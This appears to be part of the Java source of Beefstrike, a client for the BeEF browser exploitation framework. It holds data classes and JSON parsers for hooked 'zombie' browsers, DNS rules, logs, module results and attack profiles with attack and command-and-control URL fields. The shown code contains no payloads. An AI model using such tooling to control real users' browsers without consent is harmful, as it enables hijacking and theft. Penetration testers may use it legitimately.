8 | /**
9 | * @author Beny Green - gacksecurity.bDnspot.com
10 | * EyesOpenCrew -
11 | *
12 | * Object representation of DNS rules .
13 | */
14 | public class DnsRulesList {
15 | public static Dns[] extractDns(String jsontxt){
16 | JSONObject jsonDnslist = (JSONObject) JSONSerializer.toJSON( jsontxt );
17 | Dns Dnslist[] = new Dns[jsonDnslist.size()];
18 | if (jsonDnslist.isEmpty()){
19 | } else{
20 | for (int i = 0; i < jsonDnslist.size(); i++){
21 | try {
22 | Dns Dns = new Dns();
23 | JSONObject Dnsid = jsonDnslist.getJSONObject(""+i);
24 | Dns.setCount(Dnsid.getString("count"));
25 | Dns.setRuleset(Dnsid.getString("ruleset"));
26 | Dnslist[i] = Dns;
27 | }
28 | catch (JSONException e){System.out.println( "ERROR: " + e );}
29 | }
30 | }
31 | return Dnslist ;
32 | }
33 |
34 | public static int Dns_size(String cmd_Dnslink){
35 | String jsonTxt_eventDns = BeefRequester.BeefGetRequest(cmd_Dnslink);
36 | JSONObject jso = new JSONObject();
37 | jso = (JSONObject) JSONSerializer.toJSON(jsonTxt_eventDns);
38 | String cmd_Dns_json = jso.get("Dns").toString();
39 | JSONArray jsonarray = new JSONArray();
40 | jsonarray = (JSONArray) JSONSerializer.toJSON( cmd_Dns_json );
41 | return jsonarray.size();
42 | }
43 |
44 | public static DnsRules[] extractDnsData(String cmd_Dnslink){
45 |
46 | String jsonTxt_eventDns = BeefRequester.BeefGetRequest(cmd_Dnslink);
47 | JSONObject jso = new JSONObject();
48 | jso = (JSONObject) JSONSerializer.toJSON(jsonTxt_eventDns);
49 |
50 | String cmd_Dns_json = jso.get("Dns").toString();
51 | JSONArray jsonarray = new JSONArray();
52 | jsonarray = (JSONArray) JSONSerializer.toJSON( cmd_Dns_json );
53 | DnsRules Dnseventlist[] = new DnsRules[jsonarray.size()];
54 | if (jsonarray.isEmpty()){ } else{
55 | for (int i = 0; i < jsonarray.size(); i++){
56 |
57 | try {
58 | DnsRules Dnsevnt = new DnsRules();
59 | Dnsevnt.setId(jsonarray.getJSONObject(i).getString("id"));
60 | Dnsevnt.setPattern(jsonarray.getJSONObject(i).getString("pattern"));
61 | Dnsevnt.setResponse(jsonarray.getJSONObject(i).getString("response"));
62 | Dnsevnt.setType(jsonarray.getJSONObject(i).getString("type"));
63 | Dnseventlist[i] = Dnsevnt;
64 | }
65 | catch (JSONException e){System.out.println( "ERROR: " + e );}
66 | }
67 | }
68 | return Dnseventlist ;
69 | }
70 |
71 | public static String extractDnsEventData(String jsontxt , int rang, String value) {
72 | DnsRules Dnseventlist[] = DnsRulesList.extractDnsData(jsontxt);
73 | String a = null;
74 | if(value.equals("id")) {a = Dnseventlist[rang].getId();}
75 | else if(value.equals("pattern")) {a = Dnseventlist[rang].getPattern();}
76 | else if(value.equals("response")) {a = Dnseventlist[rang].getResponse();}
77 | else if(value.equals("type")) {a = Dnseventlist[rang].getType();}
78 | return a ;
79 | }
80 | }
81 |
--------------------------------------------------------------------------------
/src/com/eyesopencrew/LogEvents.java:
--------------------------------------------------------------------------------
1 | package com.eyesopencrew;
2 |
3 | /**
4 | * @author Beny Green - gacksecurity.blogspot.com
5 | * EyesOpenCrew -
6 | *
7 | * Object representation of one log entry.
8 | */
9 | public class LogEvents {
10 | private String date;
11 | private String event;
12 | private String type;
13 |
14 | public String getDate() {
15 | return date;
16 | }
17 |
18 | public void setDate(String date) {
19 | this.date = date;
20 | }
21 |
22 | public String getEvent() {
23 | return event;
24 | }
25 |
26 | public void setEvent(String event) {
27 | this.event = event;
28 | }
29 |
30 | public String getType() {
31 | return type;
32 | }
33 |
34 | public void setType(String type) {
35 | this.type = type;
36 | }
37 | }
38 |
--------------------------------------------------------------------------------
/src/com/eyesopencrew/Logs.java:
--------------------------------------------------------------------------------
1 | package com.eyesopencrew;
2 |
3 | /**
4 | * @author Beny Green - gacksecurity.blogspot.com
5 | * EyesOpenCrew -
6 | *
7 | * Object representation of logs.
8 | */
9 | public class Logs {
10 | private String logs;
11 | private String logscount;
12 |
13 | public String getLogs() {
14 | return logs;
15 | }
16 |
17 | public void setLogs(String logs) {
18 | this.logs = logs;
19 | }
20 |
21 | public String getLogscount() {
22 | return logscount;
23 | }
24 |
25 | public void setLogscount(String logscount) {
26 | this.logscount = logscount;
27 | }
28 |
29 |
30 | }
31 |
--------------------------------------------------------------------------------
/src/com/eyesopencrew/LogsList.java:
--------------------------------------------------------------------------------
1 | package com.eyesopencrew;
2 |
3 | import net.sf.json.JSONArray;
4 | import net.sf.json.JSONException;
5 | import net.sf.json.JSONObject;
6 | import net.sf.json.JSONSerializer;
7 |
8 | /**
9 | * @author Beny Green - gacksecurity.blogspot.com
10 | * EyesOpenCrew -
11 | *
12 | * Object representation of Log list.
13 | */
14 | public class LogsList {
15 |
16 | public static Logs[] extractLogs(String jsontxt){
17 | JSONObject jsonLoglist = (JSONObject) JSONSerializer.toJSON( jsontxt );
18 | Logs Logslist[] = new Logs[jsonLoglist.size()];
19 | if (jsonLoglist.isEmpty()){
20 | } else{
21 | for (int i = 0; i < jsonLoglist.size(); i++){
22 | try {
23 | Logs log = new Logs();
24 | JSONObject logid = jsonLoglist.getJSONObject(""+i);
25 | log.setLogscount(logid.getString("logs_count"));
26 | log.setLogs(logid.getString("logs"));
27 | Logslist[i] = log;
28 | }
29 | catch (JSONException e){System.out.println( "ERROR: " + e );}
30 | }
31 | }
32 | return Logslist ;
33 | }
34 |
35 | public static int Logs_size(String cmd_loglink){
36 | String jsonTxt_eventlog = BeefRequester.BeefGetRequest(cmd_loglink);
37 | JSONObject jso = new JSONObject();
38 | jso = (JSONObject) JSONSerializer.toJSON(jsonTxt_eventlog);
39 | String cmd_logs_json = jso.get("logs").toString();
40 | JSONArray jsonarray = new JSONArray();
41 | jsonarray = (JSONArray) JSONSerializer.toJSON( cmd_logs_json );
42 | return jsonarray.size();
43 | }
44 |
45 | public static LogEvents[] extractLogsData(String cmd_loglink){
46 |
47 | String jsonTxt_eventlog = BeefRequester.BeefGetRequest(cmd_loglink);
48 | JSONObject jso = new JSONObject();
49 | jso = (JSONObject) JSONSerializer.toJSON(jsonTxt_eventlog);
50 |
51 | String cmd_logs_json = jso.get("logs").toString();
52 | JSONArray jsonarray = new JSONArray();
53 | jsonarray = (JSONArray) JSONSerializer.toJSON( cmd_logs_json );
54 | LogEvents Logeventlist[] = new LogEvents[jsonarray.size()];
55 | if (jsonarray.isEmpty()){ } else{
56 | for (int i = 0; i < jsonarray.size(); i++){
57 | //System.out.println(jsonarray.getJSONObject(i).getString("name"));
58 | try {
59 | LogEvents logevnt = new LogEvents();
60 | logevnt.setDate(jsonarray.getJSONObject(i).getString("date"));
61 | logevnt.setEvent(jsonarray.getJSONObject(i).getString("event"));
62 | logevnt.setType(jsonarray.getJSONObject(i).getString("type"));
63 | Logeventlist[i] = logevnt;
64 | }
65 | catch (JSONException e){System.out.println( "ERROR: " + e );}
66 | }
67 | }
68 | return Logeventlist ;
69 | }
70 |
71 | public static String extractlogEventData(String jsontxt , int rang, String value) {
72 |
73 | LogEvents Logeventlist[] = LogsList.extractLogsData(jsontxt);
74 | String a = null;
75 | if(value.equals("date")) {a = Logeventlist[rang].getDate();}
76 | else if(value.equals("event")) {a = Logeventlist[rang].getEvent();}
77 | else if(value.equals("type")) {a = Logeventlist[rang].getType();}
78 | return a ;
79 | }
80 | }
81 |
--------------------------------------------------------------------------------
/src/com/eyesopencrew/OfflineClass.java:
--------------------------------------------------------------------------------
1 | package com.eyesopencrew;
2 |
3 | import net.sf.json.JSONException;
4 | import net.sf.json.JSONObject;
5 | import net.sf.json.JSONSerializer;
6 |
7 | /**
8 | * @author Beny Green - gacksecurity.blogspot.com
9 | *
10 | * EyesOpenCrew
11 | */
12 | public class OfflineClass {
13 | //List of offline zombies
14 | /**
15 | *
16 | * @param jsontxt
17 | * @return Zombie[]
18 | * - Extract offline zombis from Json representation.
19 | *
20 | */
21 | public static Zombies[] extractOffline(String jsontxt){
22 |
23 | JSONObject json = new JSONObject();
24 | json = (JSONObject) JSONSerializer.toJSON( jsontxt );
25 | // JSONObject json = (JSONObject)
26 |
27 | JSONObject Offline = json.getJSONObject("hooked-browsers").getJSONObject("offline");
28 | Zombies zombieGroup[] = new Zombies[Offline.size()];
29 | if (Offline.isEmpty()){
30 | } else{
31 | for (int i = 0; i < Offline.size(); i++){
32 |
33 | try {
34 | Zombies zombie = new Zombies();
35 | JSONObject zombieid = Offline.getJSONObject(""+i);
36 | zombie.setSession(zombieid.getString("session"));
37 | zombie.setName(zombieid.getString("name"));
38 | zombie.setVersion(zombieid.getString("version"));
39 | zombie.setOs(zombieid.getString("os"));
40 | zombie.setPlatform(zombieid.getString("platform"));
41 | zombie.setIp(zombieid.getString("ip"));
42 | zombie.setPort(zombieid.getString("port"));
43 | zombie.setDomain(zombieid.getString("domain"));
44 | zombie.setPage_uri(zombieid.getString("page_uri"));
45 | zombieGroup[i] = zombie;
46 | }
47 | catch (JSONException e){System.out.println( "ERROR: " + e );}
48 | }
49 | }
50 | return zombieGroup ;
51 | }
52 | /**
53 | *
54 | * @param jsontxt
55 | * @param rang
56 | * @return Zombies
57 | *
58 | * Extract one offline zombi obtained from Json representation.
59 | */
60 | public static Zombies extractOneZombie(String jsontxt , int rang) {
61 | Zombies zombieGroup[] = OfflineClass.extractOffline(jsontxt);
62 | try {
63 | return zombieGroup[rang];
64 | }
65 | catch (ArrayIndexOutOfBoundsException e){return null;}
66 |
67 | }
68 | /**
69 | *
70 | * @param jsontxt
71 | * @param rang
72 | * @param value
73 | * @return String
74 | *
75 | * Extract a particular data about a particular offline zombi obtained from a Json representation.
76 | */
77 | public static String extractZombieData(String jsontxt , int rang, String value) {
78 |
79 | Zombies zombieGroup[] = OfflineClass.extractOffline(jsontxt);
80 | String a = null;
81 |
82 | if (value.equals("session")){ a = zombieGroup[rang].getSession(); }
83 | else if(value.equals("name")) {a = zombieGroup[rang].getName();}
84 | else if(value.equals("version")) {a = zombieGroup[rang].getVersion();}
85 | else if(value.equals("os")) {a = zombieGroup[rang].getOs();}
86 | else if(value.equals("platform")) {a = zombieGroup[rang].getPlatform();}
87 | else if(value.equals("ip")) {a = zombieGroup[rang].getIp();}
88 | else if(value.equals("port")) {a = zombieGroup[rang].getPort();}
89 | else if(value.equals("domain")) {a = zombieGroup[rang].getDomain();}
90 | else if(value.equals("page_uri")) {a = zombieGroup[rang].getPage_uri();}
91 | return a ;
92 | }
93 | }
94 |
95 |
96 |
97 |
--------------------------------------------------------------------------------
/src/com/eyesopencrew/OnlineClass.java:
--------------------------------------------------------------------------------
1 | package com.eyesopencrew;
2 |
3 | import net.sf.json.JSONException;
4 | import net.sf.json.JSONObject;
5 | import net.sf.json.JSONSerializer;
6 |
7 | /**
8 | * @author Beny Green - gacksecurity.blogspot.com
9 | *
10 | * EyesOpenCrew
11 | */
12 |
13 | public class OnlineClass {
14 |
15 | /**
16 | *
17 | * @param jsontxt
18 | * @return Zombies[]
19 | *
20 | * - Extract zombis obtained from Json representation.
21 | */
22 | public static Zombies[] extractOnline(String jsontxt){
23 |
24 | JSONObject json = (JSONObject) JSONSerializer.toJSON( jsontxt );
25 | JSONObject online = json.getJSONObject("hooked-browsers").getJSONObject("online");
26 |
27 | Zombies[] zombieGroup = new Zombies[online.size()];
28 | if (online.isEmpty()){
29 | return zombieGroup ;
30 | } else{
31 | for (int i = 0; i < online.size(); i++){
32 | try {
33 | Zombies zombie = new Zombies();
34 | JSONObject zombieid = online.getJSONObject(""+i);
35 | zombie.setSession(zombieid.getString("session"));
36 | zombie.setName(zombieid.getString("name"));
37 | zombie.setVersion(zombieid.getString("version"));
38 | zombie.setOs(zombieid.getString("os"));
39 | zombie.setPlatform(zombieid.getString("platform"));
40 | zombie.setIp(zombieid.getString("ip"));
41 | zombie.setPort(zombieid.getString("port"));
42 | zombie.setDomain(zombieid.getString("domain"));
43 | zombie.setPage_uri(zombieid.getString("page_uri"));
44 | zombieGroup[i] = zombie;
45 | //System.out.println(zombieGroup[i].getOs());
46 | }
47 | catch (JSONException e){System.out.println( "ERROR: " + e );}
48 | }
49 | return zombieGroup ;
50 | }
51 | }
52 |
53 | /**
54 | *
55 | * @param jsontxt
56 | * @param rang
57 | * @return Zombies
58 | *
59 | * Extract one online zombi obtained from a Json representation.
60 | */
61 | public static Zombies extractOneZombie(String jsontxt , int rang) {
62 | Zombies zombieGroup[] = OnlineClass.extractOnline(jsontxt);
63 | try {
64 | return zombieGroup[rang];
65 | }
66 | catch (ArrayIndexOutOfBoundsException e){return null;}
67 |
68 | }
69 | /**
70 | *
71 | * @param jsontxt
72 | * @param rang
73 | * @param value
74 | * @return String
75 | *
76 | * * extract a particular data about a particular online zombi obtained from a Json representation.
77 | */
78 | public static String extractZombieData(String jsontxt , int rang, String value) {
79 |
80 | Zombies zombieGroup[] = OnlineClass.extractOnline(jsontxt);
81 | String a = null;
82 |
83 | if (value.equals("session")){ a = zombieGroup[rang].getSession(); }
84 | else if(value.equals("name")) {a = zombieGroup[rang].getName();}
85 | else if(value.equals("version")) {a = zombieGroup[rang].getVersion();}
86 | else if(value.equals("os")) {a = zombieGroup[rang].getOs();}
87 | else if(value.equals("platform")) {a = zombieGroup[rang].getPlatform();}
88 | else if(value.equals("ip")) {a = zombieGroup[rang].getIp();}
89 | else if(value.equals("port")) {a = zombieGroup[rang].getPort();}
90 | else if(value.equals("domain")) {a = zombieGroup[rang].getDomain();}
91 | else if(value.equals("page_uri")) {a = zombieGroup[rang].getPage_uri();}
92 | return a ;
93 | }
94 | }
95 |
96 |
--------------------------------------------------------------------------------
/src/com/eyesopencrew/Profile.java:
--------------------------------------------------------------------------------
1 | package com.eyesopencrew;
2 |
3 | /**
4 | * @author Beny Green - gacksecurity.blogspot.com
5 | * EyesOpenCrew -
6 | *
7 | * Object representation of one profile entry from beefstrike.
8 | */
9 | public class Profile {
10 |
11 | private String id;
12 | private String Browser;
13 | private String UserAgent;
14 | private String Version;
15 | private String OS;
16 | private String Platform;
17 | private String ActiveX;
18 | private String Flash;
19 | private String Java;
20 | private String VBScript;
21 | private String Plugins;
22 | private String Attack_URL;
23 | private String Link_cc;
24 |
25 | /**
26 | *
27 | * @return id
28 | */
29 | public String getId() {
30 | return id;
31 | }
32 | /**
33 | *
34 | * @param id
35 | */
36 | public void setId(String id) {
37 | this.id = id;
38 | }
39 |
40 | public String getActivex() {
41 | return ActiveX;
42 | }
43 |
44 | public void setActivex(String Activex) {
45 | this.ActiveX = Activex;
46 | }
47 |
48 | public String getAttack_URL() {
49 | return Attack_URL;
50 | }
51 |
52 | public void setAttack_URL(String Attack_URL) {
53 | this.Attack_URL = Attack_URL;
54 | }
55 |
56 | public String getBrowser() {
57 | return Browser;
58 | }
59 |
60 | public void setBrowser(String Browser) {
61 | this.Browser = Browser;
62 | }
63 |
64 | public String getFlash() {
65 | return Flash;
66 | }
67 |
68 | public void setFlash(String Flash) {
69 | this.Flash = Flash;
70 | }
71 |
72 | public String getJava() {
73 | return Java;
74 | }
75 |
76 | public void setJava(String Java) {
77 | this.Java = Java;
78 | }
79 |
80 | public String getLink_cc() {
81 | return Link_cc;
82 | }
83 |
84 | public void setLink_cc(String Link_cc) {
85 | this.Link_cc = Link_cc;
86 | }
87 |
88 | public String getOS() {
89 | return OS;
90 | }
91 |
92 | public void setOS(String OS) {
93 | this.OS = OS;
94 | }
95 |
96 | public String getPlatform() {
97 | return Platform;
98 | }
99 |
100 | public void setPlatform(String Platform) {
101 | this.Platform = Platform;
102 | }
103 |
104 | public String getPlugins() {
105 | return Plugins;
106 | }
107 |
108 | public void setPlugins(String Plugins) {
109 | this.Plugins = Plugins;
110 | }
111 |
112 | public String getUserAgent() {
113 | return UserAgent;
114 | }
115 |
116 | public void setUserAgent(String UserAgent) {
117 | this.UserAgent = UserAgent;
118 | }
119 |
120 | public String getVBScript() {
121 | return VBScript;
122 | }
123 |
124 | public void setVBScript(String VBScript) {
125 | this.VBScript = VBScript;
126 | }
127 |
128 | public String getVersion() {
129 | return Version;
130 | }
131 |
132 | public void setVersion(String Version) {
133 | this.Version = Version;
134 | }
135 |
136 | }
137 |
--------------------------------------------------------------------------------
/src/com/eyesopencrew/ProfileList.java:
--------------------------------------------------------------------------------
1 | package com.eyesopencrew;
2 |
3 | import net.sf.json.JSONException;
4 | import net.sf.json.JSONObject;
5 | import net.sf.json.JSONSerializer;
6 | import java.io.FileWriter;
7 | import java.io.File;
8 | /**
9 | * @author Beny Green - gacksecurity.blogspot.com
10 | *
11 | * EyesOpenCrew
12 | */
13 | public class ProfileList {
14 | //List of Profiles entries of beefstrike
15 | /**
16 | *
17 | * @param jsontxt
18 | * @return Profil[]
19 | * - Extract Profile entries from Json representation.
20 | *
21 | */
22 | public static Profile[] extractProfile(String jsontxt){
23 |
24 | JSONObject jsonProfilelist = (JSONObject) JSONSerializer.toJSON( jsontxt );
25 | //JSONObject Offline = json.getJSONObject("hooked-browsers").getJSONObject("offline");
26 | Profile Profilelist[] = new Profile[jsonProfilelist.size()];
27 | if (jsonProfilelist.isEmpty()){
28 |
29 | } else{
30 | for (int i = 0; i < jsonProfilelist.size(); i++){
31 |
32 | try {
33 | Profile Profil = new Profile();
34 | JSONObject Profilid = jsonProfilelist.getJSONObject(""+i);
35 | Profil.setId(Profilid.getString("id"));
36 | Profil.setBrowser(Profilid.getString("Browser"));
37 | Profil.setUserAgent(Profilid.getString("UserAgent"));
38 | Profil.setVersion(Profilid.getString("Version"));
39 | Profil.setOS(Profilid.getString("OS"));
40 | Profil.setPlatform(Profilid.getString("Platform"));
41 | Profil.setActivex(Profilid.getString("ActiveX"));
42 | Profil.setFlash(Profilid.getString("Flash"));
43 | Profil.setJava(Profilid.getString("Java"));
44 | Profil.setVBScript(Profilid.getString("VBScript"));
45 | Profil.setPlugins(Profilid.getString("Plugins"));
46 | Profil.setAttack_URL(Profilid.getString("Attack_URL"));
47 | Profil.setLink_cc(Profilid.getString("Link_cc"));
48 | Profilelist[i] = Profil;
49 | }
50 | catch (JSONException e){System.out.println( "ERROR: " + e );}
51 | }
52 | }
53 | return Profilelist ;
54 | }
55 |
56 | public static Profile extractOneProfil(String jsontxt , int rang) {
57 | Profile ProfilGroup[] = ProfileList.extractProfile(jsontxt);
58 | try {
59 | return ProfilGroup[rang];
60 | }
61 | catch (ArrayIndexOutOfBoundsException e){return null;}
62 | }
63 |
64 | public static String extractProfilData(String jsontxt , int rang, String value) {
65 |
66 | Profile ProfilGroup[] = ProfileList.extractProfile(jsontxt);
67 | String a = null;
68 |
69 | if (value.equals("id")){ a = ProfilGroup[rang].getId(); }
70 | else if(value.equals("Browser")) {a = ProfilGroup[rang].getBrowser();}
71 | else if(value.equals("UserAgent")) {a = ProfilGroup[rang].getUserAgent();}
72 | else if(value.equals("Version")) {a = ProfilGroup[rang].getVersion();}
73 | else if(value.equals("OS")) {a = ProfilGroup[rang].getOS();}
74 | else if(value.equals("Platform")) {a = ProfilGroup[rang].getPlatform();}
75 | else if(value.equals("ActiveX")) {a = ProfilGroup[rang].getActivex();}
76 | else if(value.equals("Flash")) {a = ProfilGroup[rang].getFlash();}
77 | else if(value.equals("Java")) {a = ProfilGroup[rang].getJava();}
78 | else if(value.equals("VBScript")) {a = ProfilGroup[rang].getVBScript();}
79 | else if(value.equals("Plugins")) {a = ProfilGroup[rang].getPlugins();}
80 | else if(value.equals("Attack_URL")) {a = ProfilGroup[rang].getAttack_URL();}
81 | else if(value.equals("Link_cc")) {a = ProfilGroup[rang].getLink_cc();}
82 | return a ;
83 | }
84 |
85 | public static void saveProfileList (String pathoffiletosave , String texttosave){
86 | try{
87 | File ff=new File(pathoffiletosave);
88 | ff.createNewFile();
89 | FileWriter ffw=new FileWriter(ff);
90 | ffw.write(texttosave);
91 | ffw.close();
92 | } catch (Exception e) {}
93 | }
94 | }
95 |
96 |
97 |
98 |
--------------------------------------------------------------------------------
/src/com/eyesopencrew/ResultList.java:
--------------------------------------------------------------------------------
1 | package com.eyesopencrew;
2 |
3 | import net.sf.json.JSONException;
4 | import net.sf.json.JSONObject;
5 | import net.sf.json.JSONSerializer;
6 |
7 | /**
8 | * @author Beny Green - gacksecurity.blogspot.com
9 | * EyesOpenCrew - @thebenygreen
10 | *
11 | * Object representation of result for a module executed by BeEF.
12 | */
13 | public class ResultList {
14 | //List of Results for a module executed by BeEF
15 | /**
16 | *
17 | * @param jsontxt
18 | * @return rslt[]
19 | * - Extract results from Json representation.
20 | *
21 | */
22 | public static Results[] extractResults(String jsontxt){
23 |
24 | JSONObject jsonCommandlist = (JSONObject) JSONSerializer.toJSON( jsontxt );
25 | //JSONObject Offline = json.getJSONObject("hooked-browsers").getJSONObject("offline");
26 | Results Resultslist[] = new Results[jsonCommandlist.size()];
27 | if (jsonCommandlist.isEmpty()){
28 |
29 | } else{
30 | for (int i = 0; i < jsonCommandlist.size(); i++){
31 |
32 | try {
33 | Results rslt = new Results();
34 | JSONObject rsltid = jsonCommandlist.getJSONObject(""+i);
35 | rslt.setDate(rsltid.getString("date"));
36 | rslt.setData(rsltid.getString("data"));
37 | Resultslist[i] = rslt;
38 | }
39 | catch (JSONException e){System.out.println( "ERROR: " + e );}
40 | }
41 | }
42 | return Resultslist ;
43 | }
44 |
45 | public static Results extractOnerslt(String jsontxt , int rang) {
46 | Results rsltGroup[] = ResultList.extractResults(jsontxt);
47 | try {
48 | return rsltGroup[rang];
49 | }
50 | catch (ArrayIndexOutOfBoundsException e){return null;}
51 | }
52 |
53 | public static String extractrsltData(String jsontxt , int rang, String value) {
54 |
55 | Results rsltGroup[] = ResultList.extractResults(jsontxt);
56 | String a = null;
57 |
58 | if (value.equals("date")){ a = rsltGroup[rang].getDate(); }
59 | else if(value.equals("data")) {a = rsltGroup[rang].getData();}
60 | return a ;
61 | }
62 | }
63 |
--------------------------------------------------------------------------------
/src/com/eyesopencrew/Results.java:
--------------------------------------------------------------------------------
1 | package com.eyesopencrew;
2 |
3 | /**
4 | * @author Beny Green - gacksecurity.blogspot.com
5 | * EyesOpenCrew -
6 | *
7 | * Object representation of one command from command list.
8 | */
9 | public class Results {
10 | private String date;
11 | private String data;
12 |
13 | public String getDate() {
14 | return date;
15 | }
16 |
17 | public void setDate(String date) {
18 | this.date = date;
19 | }
20 |
21 | public String getData() {
22 | return data;
23 | }
24 |
25 | public void setData(String data) {
26 | this.data = data;
27 | }
28 |
29 |
30 | }
31 |
--------------------------------------------------------------------------------
/src/com/eyesopencrew/Zombies.java:
--------------------------------------------------------------------------------
1 | package com.eyesopencrew;
2 |
3 | /**
4 | * @author Beny Green - gacksecurity.blogspot.com
5 | * EyesOpenCrew -
6 | *
7 | * Object representation of one zombi.
8 | */
9 | public class Zombies {
10 | private String id;
11 | private String session;
12 | private String name;
13 | private String version;
14 | private String os;
15 | private String platform;
16 | private String ip;
17 | private String domain;
18 | private String port;
19 | private String page_uri;
20 |
21 | /**
22 | *
23 | * @return id
24 | */
25 | public String getId() {
26 | return id;
27 | }
28 | /**
29 | *
30 | * @param id
31 | */
32 | public void setId(String id) {
33 | this.id = id;
34 | }
35 | /**
36 | *
37 | * @return session
38 | */
39 | public String getSession() {
40 | return session;
41 | }
42 | /**
43 | *
44 | * @param session
45 | */
46 | public void setSession(String session) {
47 | this.session = session;
48 | }
49 | /**
50 | *
51 | * @return name
52 | */
53 | public String getName() {
54 | return name;
55 | }
56 | /**
57 | *
58 | * @param name
59 | */
60 | public void setName(String name) {
61 | this.name = name;
62 | }
63 | /**
64 | *
65 | * @return version
66 | */
67 | public String getVersion() {
68 | return version;
69 | }
70 | /**
71 | *
72 | * @param version
73 | */
74 | public void setVersion(String version) {
75 | this.version = version;
76 | }
77 | /**
78 | *
79 | * @return os
80 | */
81 | public String getOs() {
82 | return os;
83 | }
84 | /**
85 | *
86 | * @param os
87 | */
88 | public void setOs(String os) {
89 | this.os = os;
90 | }
91 | /**
92 | *
93 | * @return platform
94 | */
95 | public String getPlatform() {
96 | return platform;
97 | }
98 | /**
99 | *
100 | * @param platform
101 | */
102 | public void setPlatform(String platform) {
103 | this.platform = platform;
104 | }
105 | /**
106 | *
107 | * @return ip
108 | */
109 | public String getIp() {
110 | return ip;
111 | }
112 | /**
113 | *
114 | * @param ip
115 | */
116 | public void setIp(String ip) {
117 | this.ip = ip;
118 | }
119 | /**
120 | *
121 | * @return domain
122 | */
123 | public String getDomain() {
124 | return domain;
125 | }
126 | /**
127 | *
128 | * @param domain
129 | */
130 | public void setDomain(String domain) {
131 | this.domain = domain;
132 | }
133 | /**
134 | *
135 | * @return port
136 | */
137 | public String getPort() {
138 | return port;
139 | }
140 | /**
141 | *
142 | * @param port
143 | */
144 | public void setPort(String port) {
145 | this.port = port;
146 | }
147 | /**
148 | *
149 | * @return page_uri
150 | */
151 | public String getPage_uri() {
152 | return page_uri;
153 | }
154 | /**
155 | *
156 | * @param page_uri
157 | */
158 | public void setPage_uri(String page_uri) {
159 | this.page_uri = page_uri;
160 | }
161 |
162 | }
163 |
--------------------------------------------------------------------------------
/src/com/eyesopencrew/zombie.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/benyG/Beefstrike/94c1c65e75983ae41a6c9be3bd36982588aa0e4a/src/com/eyesopencrew/zombie.png
--------------------------------------------------------------------------------
/unknow_hk.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/benyG/Beefstrike/94c1c65e75983ae41a6c9be3bd36982588aa0e4a/unknow_hk.png
--------------------------------------------------------------------------------
/zombie.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/benyG/Beefstrike/94c1c65e75983ae41a6c9be3bd36982588aa0e4a/zombie.png
--------------------------------------------------------------------------------
/zombieoff.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/benyG/Beefstrike/94c1c65e75983ae41a6c9be3bd36982588aa0e4a/zombieoff.png
--------------------------------------------------------------------------------